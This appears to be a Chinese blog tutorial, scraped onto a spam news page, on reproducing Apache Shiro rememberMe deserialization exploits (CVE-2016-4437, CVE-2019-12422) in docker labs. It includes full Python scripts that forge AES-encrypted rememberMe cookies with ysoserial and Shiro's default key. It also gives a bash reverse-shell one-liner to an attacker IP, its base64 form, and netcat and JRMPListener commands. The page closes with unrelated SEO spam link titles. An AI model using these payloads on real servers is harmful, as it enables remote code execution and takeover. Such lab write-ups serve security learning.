当前位置: 首页 > news >正文

铁路建设网站百度博客收录提交入口

铁路建设网站,百度博客收录提交入口,cms网站怎么做,网站开发设计费用文章目录 一、反序列化概念1.什么是序列化?2.序列化出现场景 二、Apache Shiro 1.2.4反序列化漏洞1.定义2.Shiro反序列化漏洞原理3.漏洞特征 三、CVE-2016-4437漏洞复现(实验)1.搭建环境2.漏洞特征验证1)未登陆验证2)登陆失败验证3)登陆成功验证① 不勾选② 勾选 …

文章目录

  • 一、反序列化概念
    • 1.什么是序列化?
    • 2.序列化出现场景
  • 二、Apache Shiro 1.2.4反序列化漏洞
    • 1.定义
    • 2.Shiro反序列化漏洞原理
    • 3.漏洞特征
  • 三、CVE-2016-4437漏洞复现(实验)
    • 1.搭建环境
    • 2.漏洞特征验证
      • 1)未登陆验证
      • 2)登陆失败验证
      • 3)登陆成功验证
        • ① 不勾选
        • ② 勾选
      • 4)Shiro漏洞验证方法
      • 5)漏洞利用
  • 四、CVE-2019-12422漏洞复现(实验)
    • 1.搭建环境
    • 2.检测是否为shiro框架
    • 3.制作payload
    • 路径下获得了一个payload.cookie
    • 4.漏洞验证
    • 5.漏洞利用(反弹shell)
      • ① VPS监听端口
      • ② 构造shell命令
      • ③ 开启JRMP服务
      • ④ 构造payload
      • ⑤ 前台登录
      • ⑥ 追加cookie

一、反序列化概念

1.什么是序列化?

序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中,保证对象的完整性
和可传递性;
反序列化即逆过程,由字节流还原成对象。根据字节流中保存的对象状态及描述信息,
通过反序列化重建对象。

2.序列化出现场景

●远程和进程间通信(RPC/IPC)
●连线协议、Web服务、消息代理
●缓存/持久性存储区
●数据库、缓存服务器、文件系统
●HTTP cookie、HTML表单参数、API身份验证令牌

二、Apache Shiro 1.2.4反序列化漏洞

1.定义

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管
理。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应
用程序到最大的网络和企业应用程序。
漏洞影响版本
Apache Shiro <=1.2.4

2.Shiro反序列化漏洞原理

AES加密的密钥Key被硬编码在代码里,Shiro是开源软件,意味着每个人通过源代码
都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,
AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将
rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
在服务端接收cookie值时,按照如下步骤来解析处理:
检索RememberMe cookie 的值
Base 64解码
使用AES解密(加密密钥硬编码)
进行反序列化操作,生成用户登录信息对象(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

3.漏洞特征

shiro反序列化的特征:
返回包中存在 rememberMe=deleteMe 字段

三、CVE-2016-4437漏洞复现(实验)

1.搭建环境

使用vulhub进行环境搭建,cd shiro/CVE-2016-4437
执行docker-compose up -d启动漏洞环境
在这里插入图片描述

访问8080
在这里插入图片描述

2.漏洞特征验证

1)未登陆验证

使用BP抓包,未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
在这里插入图片描述

2)登陆失败验证

登陆失败的话,不管勾不勾选RememberMe字段,返回包中都会有rememberMe=deleteMe字段
在这里插入图片描述

3)登陆成功验证

使用正确账号admin:vulhub进行登录

① 不勾选

不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有
rememberMe=deleteMe字段。
在这里插入图片描述

但是之后的所有请求中Cookie都不会有rememberMe
在这里插入图片描述

② 勾选

勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有
rememberMe=deleteMe字段,还会有rememberMe字段的所有请求
在这里插入图片描述
在这里插入图片描述

之后中Cookie都会有rememberMe字段
在这里插入图片描述

4)Shiro漏洞验证方法

如何判断网站是否使用shiro
找到网站登录的地方
随便输入账号密码抓包(一定要输入点击登录),看返回包是否有remembeMe字段,如我们直接访问登录的页面不进行登录,此时返回的数据包是没有remember字段的
如果没有remembeMe
还可以尝试在请求包中的cookie中加入 rememberMe=1 ,来查看返回包是否有rememberMe=deleteMe字段。如果cookie字段有值则先清空这时,我们手动加上一个cookie:rememberMe=1,注意cookie要放在Upgrade的上面,则返回了remember字段。说明使用了shiro框架,可能存在shiro反序列化漏洞
在这里插入图片描述

5)漏洞利用

手工检测出了使用了shiro框架后就开始验证是否存在漏洞了如果存在则进
行漏洞利用,这里漏洞检测和利用的方式有两种
第一种是使用jar工具进行验证。
第二种方式是使用python脚本进行验证。
使用jar工具检测是否存在shiro漏洞,执行命令
在这里插入图片描述

反弹shell
在这里插入图片描述在这里插入图片描述

四、CVE-2019-12422漏洞复现(实验)

1.搭建环境

获取docker镜像:docker pull medicean/vulapps:s_shiro_1
在这里插入图片描述

启动docker镜像:docker run -d -p 8082:8080 medicean/vulapps:s_shiro_1
在这里插入图片描述在这里插入图片描述

点击account_page
在这里插入图片描述

2.检测是否为shiro框架

开启bp抓包,发现返回包存在Set-Cookie 中存在 rememberMe=deleteMe 字段
在这里插入图片描述

3.制作payload

dnslog申请一个临时域名
在这里插入图片描述shiro.py内容如下

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AESdef encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'URLDNS', command], stdout=subprocess.PIPE)BS   = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key  =  "kPH+bIxk5D2deZiIxcaaaA=="#key =  "Z3VucwAAAAAAAAAAAAAAAA=="#key = "wGiHplamyXlVB11UXWol8g=="mode =  AES.MODE_CBCiv   =  uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])    with open("payload.cookie", "w") as fpw:print("rememberMe={0}".format(payload.decode()),file=fpw)

使用shiro.py 脚本,生成检测payload(dns解析)
在这里插入图片描述

例如:python shiro.py “http://4xakbz.dnslog.cn”
需安装crypto

路径下获得了一个payload.cookie

4.漏洞验证

把刚刚生成的payload.cookie粘贴到包里,burp发包,查看dnslog,是否存在dns解析记录
在这里插入图片描述

在这里插入图片描述在这里插入图片描述

dnslog出现回显,说明存在漏洞

5.漏洞利用(反弹shell)

① VPS监听端口

nc -lvvp 10808
在这里插入图片描述

② 构造shell命令

构造反弹shell命令,并且进行base64编码
/bin/bash -i >& /dev/tcp/192.168.155.2/10808 0>&1
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTU1LjIvMTA4MDggMD4mMQ==

③ 开启JRMP服务

在VPS开启一个JRMP(端口设置1099)
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 “bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTU1LjIvMTA4MDggMD4mMQ==}|{base64,-d}|{bash,-i}”
在这里插入图片描述

④ 构造payload

使用s.py构造payload,使存在shiro反序列化的服务器,
python3 s.py 192.168.155.2:1099(攻击者监听的端口)
s.py内容如下:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AESdef encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])    
print("rememberMe={0}".format(payload.decode()))

在这里插入图片描述

⑤ 前台登录

注意需要勾选Remember Me ,截获数据包,加入payload,将payload发送服务器
在这里插入图片描述

⑥ 追加cookie

将s.py生成的内容追加到cookie后面
在这里插入图片描述

反弹shell成功
在这里插入图片描述

http://www.zhongyajixie.com/news/60823.html

相关文章:

  • 任何判断网站SEO做的好坏短视频推广引流方案
  • 厚街网站建设费用属于b2b的网站有哪些
  • 有网站了怎么做app山东济南seo整站优化公司
  • wordpress主题修改应用快照关键词优化
  • 做网站用到的单词如何进行搜索引擎优化?
  • 保险销售的建设网站策划书seo怎样优化网站
  • 专业科技网站建设2021十大网络舆情案例
  • 如何用api做网站查询网站流量的网址
  • 做投资网站广东东莞大益队
  • 专业微网站建设公司首选公司哪家好网络搭建是干什么的
  • 使用php做的网站什么软件比百度搜索好
  • 金华哪里有做网站的公司4000-262-北京营销公司比较好的
  • 邯郸市房价长沙企业seo优化
  • 重庆网站设计方案大数据营销系统多少钱
  • 佛山网站建设哪家好seo外链发布工具
  • 深圳通信管理局网站谷歌搜图
  • 网站开发后怎么进入互联网成都关键词排名推广
  • 做团购网站哪家好些每日新闻最新消息
  • 番禺网站开发哪家强建站seo是什么
  • 中国美食网站模板免费下载郑州百度seo排名公司
  • 创意字体设计网站绍兴百度seo排名
  • 景区微网站 建设方案seo服务套餐
  • 重庆做企业网站互联网广告投放
  • 目前我国政府网站建设的现状2023年8月新冠又来了
  • 免费做ppt的网站百度网盘优化
  • 网站wap转换产品的推广及宣传思路
  • 南京做网站的公司有哪些营销网页设计公司
  • 携程网站用js怎么做b站怎么推广自己的视频
  • 陕西网页优化搜狗排名
  • 印刷公司网站模板宁波seo公司